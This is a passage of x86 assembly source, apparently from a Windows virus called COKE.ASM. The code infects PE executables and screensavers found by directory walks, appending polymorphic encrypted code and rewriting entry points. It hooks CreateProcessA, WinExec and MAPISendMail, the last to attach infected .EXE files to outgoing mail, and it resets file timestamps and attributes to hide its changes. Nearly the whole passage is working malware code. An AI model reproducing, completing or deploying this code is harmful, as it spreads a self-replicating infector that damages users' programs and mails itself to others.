lea eax, [ebp+(ofs rbuf-ofs vcode)]


mov edx, 'EXE'
@@5:
lea edi, [ebp+(ofs MF-ofs vcode)]
mov [edi.lpszPathName], eax ;set file to send
lea esi, [ebp+(ofs rbuf+MAX_PATH-ofs vcode)]
mov [edi.lpszFileName], esi
xchg edi, esi
mov eax, 8
call random
inc eax
inc eax
inc eax
mov ecx, eax
@@a:
mov eax, 23
call random
add al, 'A'
stosb
loop @@a
mov al, '.'
stosb
mov eax, edx
stosd
@@3:
mov dwo [ebp+(ofs mm_on_off-ofs vcode)], 0
popad
ret
NewMAPISendMail endp

NewCreateProcessA proc
push esp ;new handler for CreateProcessA
pushad
call CheckName
call delta
mov eax, [ebp+(ofs _CreateProcessA-ofs vcode)]
mov [esp+(7*4)+4], eax
popad
ret
NewCreateProcessA endp

RestoreChunkz db FALSE

NewWinExec proc
push esp ;new handler for WinExec
pushad
call CheckName
call delta
mov eax, [ebp+(ofs _WinExec-ofs vcode)]
mov [esp+(7*4)+4], eax
popad
ret
NewWinExec endp

ProcessDir proc
pushad
COKE.ASM

lea edi, [ebp+(ofs directory-ofs vcode)];edi=dir to process


add edi, eax ;eax=size of dir
lea esi, [ebp+(ofs FileMask-ofs vcode)]
movsd
movsd ;copy *.* mask
lea eax, [ebp+(ofs find_data-ofs vcode)]
push eax
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _FindFirstFileA-ofs vcode)]
inc eax
jz @@0 ;no file found?
dec eax
mov [ebp+(ofs search_handle-ofs vcode)], eax
@@1:
pushad
lea esi, [ebp+(ofs directory-ofs vcode)]
sub eax, eax
mov edx, esi
@@3:
lodsb
cmp al, '\' ;search last slash
jne @@5
mov edx, esi ;update slash position
@@5:
test al, al
jnz @@3
lea esi, [ebp+(ofs filename-ofs vcode)]
mov edi, edx
@@4:
lodsb
cmp al, 'V'
je @@6
cmp al, 'v'
je @@6
cmp al, '0'
jb @@4a
cmp al, '9'
jbe @@6
@@4a:
stosb
test al, al ;copy name to path
jnz @@4
mov eax, dwo [edi-4]
or eax, 202020h
not eax
xor eax, not 'exe'
jz @@7
xor eax, ((not 'rcs')xor(not 'exe'))
jnz @@6 ;tricky, isnt? :)
@@7:
call Infect
@@6: ;process it
popad
lea eax, [ebp+(ofs find_data-ofs vcode)]
push eax
mov eax, [ebp+(ofs search_handle-ofs vcode)]
push eax
call [ebp+(ofs _FindNextFileA-ofs vcode)]
test eax, eax ;no more files in this dir?
jne @@1
@@2:
COKE.ASM

push dwo [ebp+(ofs search_handle-ofs vcode)]


call [ebp+(ofs _FindClose-ofs vcode)] ;close search
@@0:
popad
ret
ProcessDir endp

peh_machine = 4
peh_nosections = 6
peh_ntheader = 20
peh_flags = 22
peh_initdata = 32
peh_entrypoint = 40
peh_imagebase = 52
peh_imagesize = 80
peh_chksum = 88
peh_reloc1 = 160
peh_reloc2 = 164

seh_rvasz = 8
seh_rva = 12
seh_rawsz = 16
seh_raw = 20
seh_attr = 36

Infect proc ;infect PE filez


mov eax, [ebp+(ofs seed-ofs vcode)]
mov [ebp+(ofs pseed-ofs vcode)], eax
mov ecx, DIV_VALUE
call set_new_eh
mov esp,[esp+8] ;fix stack
_remove_seh:
jmp remove_seh
db 0EAh
set_new_eh:
sub edx, edx
push dwo fs:[edx]
mov fs:[edx], esp ;set SEH
mov by [ebp+(ofs inf?-ofs vcode)], dl
cmp [ebp+(ofs fsizeh-ofs vcode)], edx
jne _remove_seh ;too big?
mov eax, [ebp+(ofs fsizel-ofs vcode)]
cmp dwo [ebp+(ofs mm_on_off-ofs vcode)], 0
jnz @@5 ;skip size check for droppers
test eax, eax
jz @@5a
cmp eax, 16*1024
jbe _remove_seh ;smaller than 16kb?
@@5:
div ecx
test edx, edx ;padded to 101 boundary?
jz _remove_seh
@@5a:
call MapFile ;map file
mov ecx, eax
mov ebx, eax
jecxz _remove_seh ;error mapping

mov [ebp+(ofs map@-ofs vcode)], eax

cmp wo [ecx], 'ZM' ;EXE file?


jne @@0
COKE.ASM

cmp wo [ecx+18h], 40h


jne @@0
mov edi, [ecx+3ch]
add edi, ecx
mov [ebp+(ofs pe_header-ofs vcode)], edi
cmp dwo [edi], 'EP' ;PE EXE file?
jne @@0
cmp wo [edi+peh_machine], 014Ch ;i386?
jne @@0
movzx eax, wo [edi+peh_flags]
not al
test eax, 2002h
jnz @@0 ;isnt DLL? is executable?
mov esi, edi
movzx ecx, wo [edi+peh_nosections]
cmp ecx, 3
jb @@0 ;too few sections
dec ecx
mov eax, ecx
shl eax, 3
shl ecx, 5
add eax, ecx
movzx ecx, wo [edi+peh_ntheader]
add eax, 24
add eax, ecx ;esi=pe header
add edi, eax ;edi=section header

bt dwo [edi.seh_attr], 6 ;must be init data


jnc @@0

pushad
mov eax, [esi+peh_entrypoint]
mov [ebp+(ofs old_eip-ofs vcode)], eax ;copy entrypoint
mov edi, esi
movzx ecx, wo [edi+peh_ntheader]
add ecx, 24
add edi, ecx ;edi=first section header
mov eax, [edi+seh_rva]
mov [ebp+(ofs sRVA-ofs vcode)], eax
mov eax, [edi+seh_rawsz]
mov [ebp+(ofs RawSize-ofs vcode)], eax ;set vars for branch_entry

mov ecx, [esi+132]


mov eax, [edi+seh_rva]
add eax, [edi+seh_rvasz]
mov ebx, [esi+128]
sub eax, ebx
jc @@not_in_1st ;IT start after end of 1st sec

cmp ecx, eax


ja @@set_it
xchg eax, ecx
jmp @@set_it
@@not_in_1st:
sub ecx, ecx
@@set_it:
mov [ebp+(ofs it_size-ofs vcode)], ecx

push 00000040h
push 00002000h+00001000h+00100000h
push 32*1024
push 0
COKE.ASM

call [ebp+(ofs _VirtualAlloc-ofs vcode)]


mov [ebp+(ofs buffer2-ofs vcode)], eax
push 00000040h
push 00002000h+00001000h+00100000h
push 32*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)]
mov [ebp+(ofs buffer1-ofs vcode)], eax ;alloc 2 bufferz for poly
mov edi, eax
mov esi, ebp
mov ecx, vsize
rep movsb ;init first buffer
popad

lea eax, [ebp+(ofs kernel-ofs vcode)] ;search in kernel32


mov [ebp+(ofs dll_name-ofs vcode)], eax
lea eax, [ebp+(ofs sGetProcAddress-ofs vcode)]
call SearchIT
push eax ;push GetProcAdress
lea eax, [ebp+(ofs sGetModuleHandle-ofs vcode)]
call SearchIT
push eax ;push GetModuleHandleA
lea eax, [ebp+(ofs sCreateProcessA-ofs vcode)]
call SearchIT
push eax ;push CreateProcessA
lea eax, [ebp+(ofs sWinExec-ofs vcode)]
call SearchIT
push eax ;push WinExec

lea eax, [ebp+(ofs mapi-ofs vcode)] ;search in mapi32


mov [ebp+(ofs dll_name-ofs vcode)], eax
lea eax, [ebp+(ofs sMAPISendMail-ofs vcode)]
call SearchIT
push eax ;push MAPISendMail

sub ecx, ecx


mov edx, [edi+seh_rva]
add edx, [edi+seh_rawsz] ;rva+raw size=ep
mov [ebp+(ofs ep-ofs vcode)], edx
mov ecx, [esi+peh_imagebase]
add edx, ecx ;ep+base=delta run
mov eax, [esi+peh_entrypoint]

mov esi, [ebp+(ofs buffer1-ofs vcode)]


mov edi, [ebp+(ofs buffer2-ofs vcode)]

mov [esi+(ofs _delta-ofs vcode)], edx ;set delta in copy


mov [esi+(ofs _base-ofs vcode)], ecx
sub eax, [ebp+(ofs ep-ofs vcode)]
sub eax, 4+(ofs host_entry-ofs vcode)
mov [esi+(ofs host_entry-ofs vcode)], eax ;set entrypoint in copy

pop eax
mov [esi+(ofs OldMAPISendMail-ofs vcode)], eax
pop eax
mov [esi+(ofs OldWinExec-ofs vcode)], eax
pop eax
mov [esi+(ofs OldCreateProcessA-ofs vcode)], eax
pop eax
mov [esi+(ofs OldGetModuleHandleA-ofs vcode)], eax
pop eax
mov [esi+(ofs OldGetProcAddress-ofs vcode)], eax
COKE.ASM

mov by [esi+(ofs RestoreChunkz-ofs vcode)], FALSE


cmp dwo [ebp+(ofs RawSize-ofs vcode)], MIN_RAW
jb @@a

pushad

lea edi, [esi+(ofs rbuf-ofs vcode)] ;start of restoration table


push edi
mov ecx, (MAX_BRANCH*(128+4+4))/4
@@be0:
call random0 ;fill buffer with garbage
stosd
loop @@be0

sub eax, eax


mov [ebp+(ofs reg32-ofs vcode)], eax ;init internal vars
mov [ebp+(ofs lparm-ofs vcode)], eax
mov [ebp+(ofs lvars-ofs vcode)], eax
mov [ebp+(ofs subs_index-ofs vcode)], eax
mov [ebp+(ofs s_into-ofs vcode)], eax ;allow call

mov by [ebp+(ofs recurse-ofs vcode)], MAX_RECURSION-2


pop edi

mov eax, [ebp+(ofs old_eip-ofs vcode)] ;first chunk at


sub ecx, ecx ;counter
@@be1:
inc ecx ;chunk count
stosd ;starting RVA
stosd ;(make space for size)
call virtual2physical_
or eax, eax
jz @@fux0red
mov esi, eax
add esi, [ebp+(ofs map@-ofs vcode)]

push ecx
mov ecx, 128
push esi edi
rep movsb ;copy bytes at chunk
pop esi edi
pop ecx

lea ebx, [edi-5]


call crypt_poly
call garble ;make junk
call crypt_poly
mov [esi-4], edi ;(destine
sub [esi-4], ebx ;- previous destine(b4 junk))
;==size
mov al, 0e9h
stosd
stosb ;make JMP

pushad ;choose a suitable EIP for next


@@ce0: ;chunk(not overlapping)
mov eax, [ebp+(ofs RawSize-ofs vcode)]
sub eax, 12345678h
it_size equ dwo $-4
call random
add eax, [ebp+(ofs sRVA-ofs vcode)] ;eip=rnd(rva)+base
COKE.ASM

sub edx, edx


sub ebx, ebx ;init ok_counter,checked_counter
lea edi, [ebp+(ofs rbuf-ofs vcode)]
@@ce1:
mov esi, [edi]
add esi, [edi+4] ;entrypoint is above the end(point+sz)
cmp eax, esi ;last one, so, is valid(for dis entry)
ja @@ce3
mov esi, [edi] ;entrypoint is below current one - 129
sub esi, 129 ;so, it have enought room to grown, ok
cmp eax, esi
jnb @@ce2
@@ce3:
inc edx ;this one is ok
@@ce2:
add edi, [edi+4] ;update pointer to next chunk info
add edi, 4*2
inc ebx

cmp ecx, ebx ;all entries checked? no, continue


jne @@ce1

cmp ecx, edx ;eip allowed for all our entries?


jne @@ce0

mov [esp+(7*4)], eax ;fix eax(stack)


popad

push eax

call virtual2physical_
add eax, [ebp+(ofs map@-ofs vcode)]
mov ebx, edi
sub eax, ebx ;calc distance between chunks
mov [edi-4], eax ;patch JMP
lea eax, [edi-4] ;last patcheable jump
sub eax, [ebp+(ofs map@-ofs vcode)]
mov [ebp+(ofs patch_jump-ofs vcode)], eax
mov edi, esi
add edi, [edi-4] ;edi(table)=edi+2 dwords+junk
;(cut excess copied bytes)
pop eax
cmp ecx, MAX_BRANCH ;process next chunk
jb @@be1
popad

mov by [esi+(ofs RestoreChunkz-ofs vcode)], TRUE

@@a:
pushad
mov edi, esi
mov eax, [ebp+(ofs key1-ofs vcode)]
mov ecx, (ofs dec_end_code-ofs vcode)/4
@@loop1:
xor [edi], eax ;do 2nd loop(internal)
scasd
add eax, [ebp+(ofs key2-ofs vcode)]
loop @@loop1
popad
mov eax, (ofs DecriptInit-ofs vcode) ;where our code get control
mov ecx, vsize
call mutate ;encript
COKE.ASM

mov by [ebp+(ofs inf?-ofs vcode)], -1 ;set continue infecting


mov [ebp+(ofs polybuffer-ofs vcode)], edi
add [ebp+(ofs ep-ofs vcode)], eax ;add poly entry to file entry
cmp ecx, msize ;if poly decriptorz dont fill
jnb @@3 ;bufferz, make it bufsize long
mov ecx, msize
@@3:
mov [ebp+(ofs tamanho-ofs vcode)], ecx
@@0:
call UnmapFile
@@1:
movzx eax, by [ebp+(ofs inf?-ofs vcode)]
or eax, eax
mov by [ebp+(ofs inf?-ofs vcode)], 0 ;continue processing?
jz remove_seh
mov eax, [ebp+(ofs tamanho-ofs vcode)]
add eax, [ebp+(ofs fsizel-ofs vcode)]
call AlignD ;round mapsize to infected
mov [ebp+(ofs fsizel-ofs vcode)], eax ;mark
call MapFile
or eax, eax ;error mapping(all is fux0red)
jz @@1
mov ebx, eax
mov [ebp+(ofs map@-ofs vcode)], eax
add eax, [eax+3ch]
mov esi, eax
mov edi, eax
mov [ebp+(ofs pe_header-ofs vcode)], edi
movzx ecx, wo [esi+peh_nosections]
dec ecx
mov eax, ecx
shl eax, 3
shl ecx, 5
add eax, ecx
movzx ecx, wo [esi+peh_ntheader]
add eax, ecx
sub ecx, ecx ;esi=pe header
add eax, 24 ;ebx=map base
add edi, eax ;edi=last section header

mov [esi+peh_reloc1], ecx


mov [esi+peh_reloc2], ecx ;no more relocz

push edi esi

xchg edi, esi


mov edi, [esi+seh_raw]
add edi, [esi+seh_rawsz]
cmp dwo [ebp+(ofs RawSize-ofs vcode)], MIN_RAW
jb @@11

pushad
mov edi, [ebp+(ofs patch_jump-ofs vcode)]
mov eax, edi
add edi, ebx
call physical2virtual_ ;get rva of jump immediate
mov ebx, eax
mov eax, [ebp+(ofs ep-ofs vcode)]
sub eax, ebx ;sub it from new eip
sub eax, 4
mov [edi], eax ;patch jmp
popad
COKE.ASM

jmp @@12
@@11:
mov eax, [ebp+(ofs ep-ofs vcode)] ;get new eip
mov esi, [esp]
mov [esi+peh_entrypoint], eax ;set it in pe header
@@12:
add edi, ebx ;edi=raw ofs+raw sz+mbase
mov esi, [ebp+(ofs polybuffer-ofs vcode)]
mov edx, [ebp+(ofs tamanho-ofs vcode)]
mov ecx, edx
cld
rep movsb ;zopy vilus codle

pop esi edi


mov [esi+peh_chksum], ecx ;zero checksum
mov eax, edx
add eax, [esi+peh_initdata] ;init data size+vsize
call AlignF
mov [esi+peh_initdata], eax
mov [edi+seh_attr], 80000000h+40000000h+00000040h

;NT COMPATIBILITY ZONE


;all to make pe infection NT compliant is here
;hehe... you also must get the APIs right, of course
push dwo [ebp+(ofs fsizel-ofs vcode)]
push ebx
mov eax, [edi+seh_rawsz]
mov ebx, [edi+seh_rvasz]
; mov edx, [ebp+(ofs tamanho-ofs vcode)]
add eax, edx
add ebx, edx ;increase raw/virtual size
call AlignF
mov [edi+seh_rawsz], eax ;save aligned raw size
xchg eax, ebx
call AlignO ;align virtual size
cmp eax, ebx
jnb @@4 ;is below raw size?
mov eax, ebx
call AlignO ;then use raw size, realigned
@@4:
mov [edi+seh_rvasz], eax ;save aligned virtual size
mov eax, [edi+seh_rvasz] ;calculate last memory occuped
add eax, [edi+seh_rva]
call AlignO ;align
cmp eax, [esi+peh_imagesize] ;is bigger than previous one?
jb @@aa
mov [esi+peh_imagesize], eax ;if so, fix imagesize
@@aa:

call ChecksumMappedFile
mov [esi+peh_chksum], eax

push 00004000h+00008000h
push 0
push dwo [ebp+(ofs buffer1-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs buffer2-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free bufferz
mov by [ebp+(ofs inf?-ofs vcode)], 0
COKE.ASM

jmp @@0

@@fux0red:
popad
jmp @@a

wavp db 'AVP Monitor',0 ;inserted in middle of code ;)

remove_seh:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
ret
Infect endp

AlignD proc
push ebp edx
mov ebp, DIV_VALUE
jmp _align
AlignD endp

AlignO proc
push ebp edx
mov ebp, [esi+56]
jmp _align
AlignO endp

AlignF proc
push ebp edx
mov ebp, [esi+60]
_align:
sub edx, edx
div ebp
test edx, edx
jz @@1
inc eax
sub edx, edx
@@1:
mul ebp
pop edx ebp
ret
AlignF endp

WriteMem proc
push 0 ;result
push ecx ;size
push esi ;buffer from
push edi ;where write
call [ebp+(ofs _GetCurrentProcess-ofs vcode)]
push eax ;handle to process
call [ebp+(ofs _WriteProcessMemory-ofs vcode)]
ret
WriteMem endp

cp_key db 0

GetList proc
lea edi, [ebp+(ofs directory-ofs vcode)]
push MAX_PATH
push edi
call [ebp+(ofs _GetSystemDirectoryA-ofs vcode)]
lea edi, [edi+eax]
COKE.ASM

call @@1
db '\BRSCBC.DAT', 0
@@1:
pop esi
@@2:
lodsb
stosb
test al, al
jnz @@2
ret
GetList endp

CheckList proc
push eax
call GetList
mov dwo [ebp+(ofs fsizel-ofs vcode)], 1*4
inc by [ebp+(ofs mf_mode-ofs vcode)]
inc by [ebp+(ofs mf_mode1-ofs vcode)]
call MapFile
mov [ebp+(ofs map@-ofs vcode)], eax
dec by [ebp+(ofs mf_mode-ofs vcode)]
dec by [ebp+(ofs mf_mode1-ofs vcode)]
mov edi, eax
test eax, eax
pop eax
jz @@1
mov ecx, [ebp+(ofs fsizel-ofs vcode)]
shr ecx, 2
repne scasd
push ecx
call UnmapFile
pop eax
@@1:
ret
CheckList endp

InsertList proc
call GetList
sub eax, eax
push eax
push 80h
push 3
push eax eax
push 0c0000000h ;read/write
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz @@1
dec eax

push eax

sub ecx, ecx


push 2
push ecx
push ecx
push eax
call [ebp+(ofs _SetFilePointer-ofs vcode)]

mov eax, [esp]


COKE.ASM

push 0
call @@2
dd 0
@@2:
push 4
lea ecx, [ebp+(ofs email_crc-ofs vcode)]
push ecx
push eax
call [ebp+(ofs _WriteFile-ofs vcode)]

call [ebp+(ofs _CloseHandle-ofs vcode)]

@@1:
ret
InsertList endp

ChecksumMappedFile proc
push ebp
mov ebp, esp
push esi
push ecx
push edx
xor edx, edx
mov esi, [ebp+8]
mov ecx, [ebp+12]
shr ecx, 1
@@1:
movzx eax, wo [esi]
add edx, eax
mov eax, edx
and edx, 0FFFFh
shr eax, 10h
add edx, eax
add esi, 2
loop @@1
mov eax, edx
shr eax, 10h
add ax, dx
add eax, [ebp+12]
pop edx
pop ecx
pop esi
leave
retn 8
ChecksumMappedFile endp

SearchIT proc
pushad
call sne
mov esp,[esp+8] ;fix stack
_rseh:
sub eax, eax ;signal not found
jmp rseh
sne:
sub edx, edx
push dwo fs:[edx]
mov fs:[edx], esp ;set SEH
call gpa_kernel32 ;get add for the case it is bound
mov edi, eax
mov eax, dwo [esi+128] ;import dir
push edi
call virtual2physical
COKE.ASM

pop edi
jc @@3
mov edx, eax
add edx, ebx
@@2:
cmp dwo [edx], 0
je @@3
mov eax, [edx+12] ;get module name
push edi
call virtual2physical
pop edi
jc @@0
add eax, ebx
mov ecx, 12345678h
dll_name equ dwo $-4
call strcmp
jz @@1
@@0:
add edx, 20 ;check next
jmp @@2 ;process next dir
@@3:
jmp _rseh
@@1:
mov eax, [edx+16] ;pointer to name table pointer
mov ebp, eax
push edi
call virtual2physical
pop edi
jc @@3
add eax, ebx
mov edx, esi
mov esi, eax
sub ecx, ecx
@@4:
lodsd ;load pointer to name
test eax, eax
jz @@3 ;ebx=base
inc ecx
cmp eax, edi
jz @@6
cmp eax, 077f00000h
ja @@4 ;pointing to kernel? is bound
xchg esi, edx
push edi
call virtual2physical ;edx=table esi=pe header
pop edi
jc @@3
push edi
mov edi, [esp+(7*4)+4+8] ;load requested API
push esi
lea esi, [eax+ebx+2]
dec edi
@@7:
inc edi
lodsb
test al, al
jz @@5
cmp [edi], al
je @@7
pop esi
pop edi
xchg esi, edx ;esi=table edx=pe header
COKE.ASM

jmp @@4
@@5:
pop eax
pop eax
@@6:
dec ecx
lea eax, [ebp+(ecx*4)]
rseh:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
mov dwo [esp+(7*4)], eax
popad
ret
SearchIT endp

strcmp proc
push edx ebx edi
@@2:
mov bl, [eax]
cmp bl, 'a'
jb @@3
cmp bl, 'z'
ja @@3
and bl, not 20h
@@3:
cmp by [ecx], 0
jz @@1
cmp [ecx], bl
jnz @@1
inc ecx
inc eax
jmp @@2
@@1:
pop edi ebx edx
ret
strcmp endp

virtual2physical proc
push ecx esi
mov edi, esi
movzx ecx, wo [esi+20]
add edi, 24
add edi, ecx ;edi eq 1th section header
movzx ecx, wo [esi+peh_nosections]
@@0:
push eax
sub eax, [edi+12] ;sub RVA
cmp eax, [edi+8] ;pointing inside?
jb @@1
pop eax
add edi, 40 ;next section header
loop @@0
sub eax, eax
stc ;signal error
jmp @@2
@@1:
add eax, [edi+20] ;add raw pointer
pop ecx ;fix stack
@@2:
pop esi ecx ;eax=fisical place
ret ;edi=section
COKE.ASM

virtual2physical endp

virtual2physical_ proc
pushad
mov esi, [ebp+(ofs pe_header-ofs vcode)]
call virtual2physical
mov [esp+(7*4)], eax
popad
ret
virtual2physical_ endp

physical2virtual_ proc
pushad
mov esi, [ebp+(ofs pe_header-ofs vcode)]
call physical2virtual
mov [esp+(7*4)], eax
popad
ret
physical2virtual_ endp

physical2virtual proc
push ecx esi
mov esi, [ebp+(ofs pe_header-ofs vcode)]
mov edi, esi
movzx ecx, wo [esi+20]
add edi, 24
add edi, ecx ;edi eq 1th section header
movzx ecx, wo [esi+peh_nosections]
@@0:
push eax
sub eax, [edi+20] ;sub physical start
cmp eax, [edi+16] ;still pointing to this section
jb @@1
pop eax
add edi, 40 ;next section header
loop @@0
sub eax, eax
stc ;signal error
jmp @@2
@@1:
add eax, [edi+12] ;add rva
pop ecx
@@2:
pop esi ecx ;eax=fisical place
ret ;edi=section
physical2virtual endp

MapFile proc
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
test eax, eax
jz @@1 ;if [mm_on_off] contains a @
clc ;treat it like a memory mapped
ret ;file
@@1:
push -1
mf_mode1 equ by $-1

pop ecx
jecxz @@212

push 80h
lea eax, [ebp+(ofs directory-ofs vcode)]
COKE.ASM

push eax
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz error_map ;blank attributes

@@212:
sub eax, eax
push eax
push 80h
push 3
mf_mode equ by $-1
push eax eax
push 0c0000000h ;read/write
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz error_mapf
dec eax
mov [ebp+(ofs handle1-ofs vcode)], eax

sub ebx, ebx

cmp [ebp+(ofs fsizel-ofs vcode)], ebx


jne @@2

push ebx
push eax
call [ebp+(ofs _GetFileSize-ofs vcode)]
mov [ebp+(ofs fsizel-ofs vcode)], eax
sub edx, edx
mov ecx, DIV_VALUE
div ecx
test edx, edx
jz close_map

@@2:

sub eax, eax


push eax
push dwo [ebp+(ofs fsizel-ofs vcode)]
push eax
push 4
push eax
push dwo [ebp+(ofs handle1-ofs vcode)]
call [ebp+(ofs _CreateFileMappingA-ofs vcode)]
test eax, eax
jz close_map
mov [ebp+(ofs handle2-ofs vcode)], eax
sub eax, eax
push dwo [ebp+(ofs fsizel-ofs vcode)]
push eax eax
push 2
push dwo [ebp+(ofs handle2-ofs vcode)]
call [ebp+(ofs _MapViewOfFile-ofs vcode)]
test eax, eax
jz unmap_map
ret
MapFile endp

CheckName proc
push ebp
COKE.ASM

call _seh
mov esp,[esp+8] ;fix stack
jmp remove_seh
_seh:
sub ecx, ecx
push dwo fs:[ecx]
mov fs:[ecx], esp
cld
call delta
lea edi, [ebp+(ofs directory-ofs vcode)]
push edi
mov esi, [esp+(7*4)+(4*6)+(2*4)] ;get pointer to path name
@@1:
lodsb
cmp al, '\'
jne @@5
inc ecx ;signal slash found
@@5:
cmp al, '"'
je @@1
cmp al, "'" ;ignore these
je @@1
cmp al, 'a'
jb @@3
cmp al, 'z'
ja @@3
and al, not 20h ;make upcase
@@3:
stosb
test al, al
jnz @@1
dec edi
jecxz @@7
@@2:
mov al, by [edi-1]
cmp al, 20h
je @@8
add bl, al ;calc chksum
@@8:
dec edi
cmp al, '\' ;find backslash
jnz @@2
@@7:
mov eax, edi
pop edx
jecxz @@6
sub eax, edx
push ebx
call ProcessDir ;process directory
pop ebx
@@6:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
pop ebp
ret
CheckName endp

UnmapFile proc
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
test eax, eax
jz @@1
COKE.ASM

clc
ret
@@1:
push dwo [ebp+(ofs map@-ofs vcode)]
call [ebp+(ofs _UnmapViewOfFile-ofs vcode)]
unmap_map:
push dwo [ebp+(ofs handle2-ofs vcode)]
call [ebp+(ofs _CloseHandle-ofs vcode)]
close_map:
lea eax, dwo [ebp+(ofs lw_creat_h-ofs vcode)]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push dwo [ebp+(ofs handle1-ofs vcode)]
call [ebp+(ofs _SetFileTime-ofs vcode)]
push dwo [ebp+(ofs handle1-ofs vcode)]
call [ebp+(ofs _CloseHandle-ofs vcode)]
error_mapf:
push dwo [ebp+(ofs fattr-ofs vcode)]
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
error_map:
sub eax, eax
ret
UnmapFile endp

random0 proc
sub eax, eax
random proc
push ecx edx
push eax
call delta
mov eax, [ebp+(ofs pseed-ofs vcode)]
mov ecx, 41c64e6dh
mul ecx
add eax, 3039h
and eax, 7ffffffh
mov [ebp+(ofs pseed-ofs vcode)], eax
pop ecx
jecxz @@3 ;limit set?
sub edx, edx
div ecx
xchg eax, edx ;value = rnd MOD limit
@@3:
mov ecx, [esp+(2*4)] ;ecx=ret address
cmp by [ecx], 0cch ;is ret address a int3?
jne @@4
jmp ebp ;if so, start to exec garbage
@@4:
pop edx ecx
sahf ;random flagz
ret
random endp
random0 endp

;name +4
;size +8
;buffer +12
WriteDump proc
COKE.ASM

sub eax, eax


push eax
push 12345678h ;hidden file
wd_att equ dwo $-4
push 2
push eax eax
push 0c0000000h ;read/write
push dwo [esp+4+(6*4)]
call [ebp+(ofs _CreateFileA-ofs vcode)]
mov ebx, eax

push 0
call @@61
dd 0
@@61:
push dwo [esp+8+(2*4)]
push dwo [esp+12+(3*4)]
push ebx
call [ebp+(ofs _WriteFile-ofs vcode)]
push ebx
call [ebp+(ofs _CloseHandle-ofs vcode)]
ret 12
WriteDump endp

FileMask db '\*.*', 0, 0, 0, 0

macro_crypt proc
pushad
mov al, 0
macro_key equ by $-1
mov ecx, ofs macro_end-ofs macro_start
lea edi, [ebp+(ofs macro_start-ofs vcode)]
@@1:
xor by [edi], al
inc edi
loop @@1
popad
ret
macro_crypt endp

CRC32 proc
cld
push ebx
mov ecx, -1
mov edx, ecx
NextByteCRC:
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
NextBitCRC:
shr bx, 1
rcr ax, 1
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC:
dec dh
COKE.ASM

jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx
ret
CRC32 endp

OpenAncev proc
sub eax, eax
push eax
push 80h
push 3
push eax eax
push 80000000h
call @@1
ancevsys db 'C:\ANCEV.SYS', 0
@@1:
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz @@filedontexists
dec eax
push eax
call [ebp+(ofs _CloseHandle-ofs vcode)]
@@fileexists:
clc
ret
@@filedontexists:
stc
ret
OpenAncev endp

align 4

dec_end_code equ this byte

DecriptInit proc
cld
sub eax, eax
db 0b8h+5 ;mov ebp, delta
_delta dd 00403000h
lea ebx, [ebp+(ofs vinit-ofs vcode)]
push ebx
lea ebx, [ebp+(ofs dec_end_code-ofs vcode)]
push dwo fs:[eax]
mov fs:[eax], esp ;set new seh frame
mov edi, ebp
mov eax, 0
key1 equ dwo $-4
@@1:
xor [edi], eax
scasd
add eax, 12345678h
org $-4
key2 dd 0
cmp edi, ebx
COKE.ASM

jne @@1
mov eax, cs:[0] ;cause fault
DecriptInit endp

vend equ this byte ;END OF PHYSICAL BODY

db 'EOV', 0

align 4

k32_address equ this byte


_CreateProcessA dd 0
_CreateFileA dd 0
_WinExec dd 0
_CloseHandle dd 0 ;add here a var that hold the
_LoadLibraryA dd 0
_FreeLibrary dd 0
_CreateFileMappingA dd 0
_MapViewOfFile dd 0
_UnmapViewOfFile dd 0
_FindFirstFileA dd 0
_FindNextFileA dd 0
_FindClose dd 0
_SetEndOfFile dd 0
_VirtualAlloc dd 0
_VirtualFree dd 0
_GetSystemTime dd 0
_GetWindowsDirectoryA dd 0
_GetSystemDirectoryA dd 0
_GetCurrentDirectoryA dd 0
_SetFileAttributesA dd 0
_SetFileTime dd 0
_ExitProcess dd 0
_GetCurrentProcess dd 0
_WriteProcessMemory dd 0
_WriteFile dd 0
_DeleteFileA dd 0
_Sleep dd 0
_CreateThread dd 0
_GetFileSize dd 0
_SetFilePointer dd 0

_MessageBoxA dd 0
_FindWindowA dd 0
_PostMessageA dd 0

_RegCloseKey dd 0
_RegQueryValueEx dd 0
_RegOpenKeyEx dd 0
_RegCreateKeyEx dd 0
_RegSetValueEx dd 0

_GetModuleHandle dd 0
_GetProcAddress dd 0 ;basic api init

_connect dd 0
_recv dd 0

_MAPISendMail dd 0

old_eip dd 0 ;first entrypoint place


COKE.ASM

patch_jump dd 0 ;where last jump is(patch!!)

sRVA dd 0 ;CODE section paramz, for


RawSize dd 0 ;branch_entry

lgarble db 0 ;last garble indicator


inf? db 0 ;can infect file?

_dec dw 0 ;instruction used to decript

K32 dd 0 ;kernel32 base


U32 dd 0 ;user32 base

pseed dd 0 ;poly seed

variables dd 0

reg32 dd 0 ;table of reg used


buffer dd 0 ;current work buffer
_size dd 0 ;size to encript
entry dd 0 ;delta to entrypoint
rva dd 0 ;place in meory where virus
;will run
flagz dd 0 ;garbling flagz
c_reg dd 0 ;actual counter reg
p_reg dd 0 ;actual pointer reg
recurse dd 0 ;recursion deep
decriptor dd 0 ;start of decriptor in current
;buffer

search_handle dd 0

_socket dd 0
socket dd MAX_SOCK dup (0)
recv_size dd 0
recv_buff dd 0
email_w dd 0
